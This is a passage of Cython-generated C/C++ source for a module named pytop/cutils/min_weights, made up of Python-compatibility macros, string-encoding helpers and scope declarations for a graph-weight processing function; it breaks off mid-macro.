Py_tss_t * PyThread_tss_alloc(void) { Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); *key = Py_tss_NEEDS_INIT; return key; } static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { PyObject_Free(key); } static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { return *key != Py_tss_NEEDS_INIT; } static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { PyThread_delete_key(*key); *key = Py_tss_NEEDS_INIT; } static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { return PyThread_set_key_value(*key, value); } static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { return PyThread_get_key_value(*key); } #endif #if CYTHON_COMPILING_IN_CPYTHON || defined(_PyDict_NewPresized) #define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) #else #define __Pyx_PyDict_NewPresized(n) PyDict_New() #endif #if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #else #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) #endif #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && CYTHON_USE_UNICODE_INTERNALS #define __Pyx_PyDict_GetItemStr(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) #else #define __Pyx_PyDict_GetItemStr(dict, name) PyDict_GetItem(dict, name) #endif #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #if defined(PyUnicode_IS_READY) #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #else #define __Pyx_PyUnicode_READY(op) (0) #endif #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #if defined(PyUnicode_IS_READY) && defined(PyUnicode_GET_SIZE) #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) #else #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) #endif #else #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) #endif #else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) #endif #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) #else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) #endif #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) #else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) #endif #if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o) #endif #if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact #ifndef PyObject_Unicode #define PyObject_Unicode PyObject_Str #endif #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) #else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) #endif #ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) #endif #if PY_VERSION_HEX >= 0x030900A4 #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) #else #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) #endif #if CYTHON_ASSUME_SAFE_MACROS #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) #else #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) #endif #if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long #endif #if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject #endif #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif #endif #if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong #else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? ((void)(klass), PyMethod_New(func, self)) : __Pyx_NewRef(func)) #else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) #endif #if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif #else #define __Pyx_PyType_AsAsync(obj) NULL #endif #ifndef __Pyx_PyAsyncMethodsStruct typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #endif #if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES #endif #include <math.h> #ifdef NAN #define __PYX_NAN() ((float) NAN) #else static CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value; } #endif #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) #define __Pyx_truncl trunc #else #define __Pyx_truncl truncl #endif #define __PYX_MARK_ERR_POS(f_index, lineno) \ { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } #define __PYX_ERR(f_index, lineno, Ln_error) \ { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } #ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif #endif #define __PYX_HAVE__pytop__cutils__min_weights #define __PYX_HAVE_API__pytop__cutils__min_weights /* Early includes */ #include "ios" #include "new" #include "stdexcept" #include "typeinfo" #include <vector> #include <string.h> #include <string> #include <utility> #if __cplusplus > 199711L #include <type_traits> namespace cython_std { template <typename T> typename std::remove_reference<T>::type&& move(T& t) noexcept { return std::move(t); } template <typename T> typename std::remove_reference<T>::type&& move(T&& t) noexcept { return std::move(t); } } #endif #include <unordered_map> #include "_min_weights.h" #ifdef _OPENMP #include <omp.h> #endif /* _OPENMP */ #if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) #define CYTHON_WITHOUT_ASSERTIONS #endif typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) #define __PYX_DEFAULT_STRING_ENCODING "" #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #define __Pyx_uchar_cast(c) ((unsigned char)c) #define __Pyx_long_cast(x) ((long)x) #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) ) static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { return (size_t) i < (size_t) limit; } #if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value) #elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value) #elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value) #elif defined (_MSC_VER) #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value) #elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value) #else #define __Pyx_sst_abs(value) ((value<0) ? -value : value) #endif static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) #define __Pyx_PyBytes_FromString PyBytes_FromString #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); #if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize #endif #define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) #define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) #define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) #define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) #define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) #define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) #define __Pyx_PyObject_AsWritableString(s) ((char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsWritableSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) { const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1); } #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); #define __Pyx_PySequence_Tuple(obj)\ (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); #if CYTHON_ASSUME_SAFE_MACROS #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) #else #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) #endif #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) #else #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) #endif #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII static int __Pyx_sys_getdefaultencoding_not_ascii; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1; } #endif #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) #else #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT static char* __PYX_DEFAULT_STRING_ENCODING; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); return -1; } #endif #endif /* Test for GCC > 2.95 */ #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x) #endif /* __GNUC__ */ static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } static PyObject *__pyx_m = NULL; static PyObject *__pyx_d; static PyObject *__pyx_b; static PyObject *__pyx_cython_runtime = NULL; static PyObject *__pyx_empty_tuple; static PyObject *__pyx_empty_bytes; static PyObject *__pyx_empty_unicode; static int __pyx_lineno; static int __pyx_clineno = 0; static const char * __pyx_cfilenm= __FILE__; static const char *__pyx_filename; static const char *__pyx_f[] = { "pytop/cutils/min_weights.pyx", "stringsource", }; /*--- Type declarations ---*/ struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data; struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen; /* "pytop/cutils/min_weights.pyx":115 * * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): # <<<<<<<<<<<<<< * def slice_gen(): * chunk_size = n_graphs // (n_threads * 4) */ struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data { PyObject_HEAD int __pyx_v_n_graphs; int __pyx_v_n_threads; }; /* "pytop/cutils/min_weights.pyx":116 * * def add_min_weights_to_data(str source_path, str save_path, int n_graphs, int n_threads): * def slice_gen(): # <<<<<<<<<<<<<< * chunk_size = n_graphs // (n_threads * 4) * if chunk_size == 0: */ struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen { PyObject_HEAD struct __pyx_obj_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data *__pyx_outer_scope; long __pyx_v_chunk_size; PyObject *__pyx_v_i; PyObject *__pyx_v_idxs; PyObject *__pyx_t_0; Py_ssize_t __pyx_t_1; PyObject *(*__pyx_t_2)(PyObject *); }; /* --- Runtime support code (head) --- */ /* Refnanny.proto */ #ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0 #endif #if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; #ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ } #else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) #endif #define __Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) #else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r) #endif #define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0) #define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0) #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) /* PyObjectGetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); #else #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) #endif /* GetBuiltinName.proto */ static PyObject *__Pyx_GetBuiltinName(PyObject *name); /* PyDictVersioning.proto */ #if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS #define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) #define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) #define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ (version_var) = __PYX_GET_DICT_VERSION(dict);\ (cache_var) = (value); #define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ static PY_UINT64_T __pyx_dict_version = 0;\ static PyObject *__pyx_dict_cached_value = NULL;\ if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ (VAR) = __pyx_dict_cached_value;\ } else {\ (VAR) = __pyx_dict_cached_value = (LOOKUP);\ __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ }\ } static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); #else #define __PYX_GET_DICT_VERSION(dict) (0) #define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) #define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); #endif /* GetModuleGlobalName.proto */ #if CYTHON_USE_DICT_VERSIONS #define __Pyx_GetModuleGlobalName(var, name) {\ static PY_UINT64_T __pyx_dict_version = 0;\ static PyObject *__pyx_dict_cached_value = NULL;\ (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ } #define __Pyx_GetModuleGlobalNameUncached(var, name) {\ PY_UINT64_T __pyx_dict_version;\ PyObject *__pyx_dict_cached_value;\ (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ } static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); #else #define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) #define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); #endif /* PyCFunctionFastCall.proto */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs); #else #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL) #endif /* PyFunctionFastCall.proto */ #if CYTHON_FAST_PYCALL #define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); #else #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs) #endif #define __Pyx_BUILD_ASSERT_EXPR(cond)\ (sizeof(char [1 - 2*!(cond)]) - 1) #ifndef Py_MEMBER_SIZE #define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) #endif static size_t __pyx_pyframe_localsplus_offset = 0; #include "frameobject.h" #define __Pxy_PyFrame_Initialize_Offsets()\ ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == 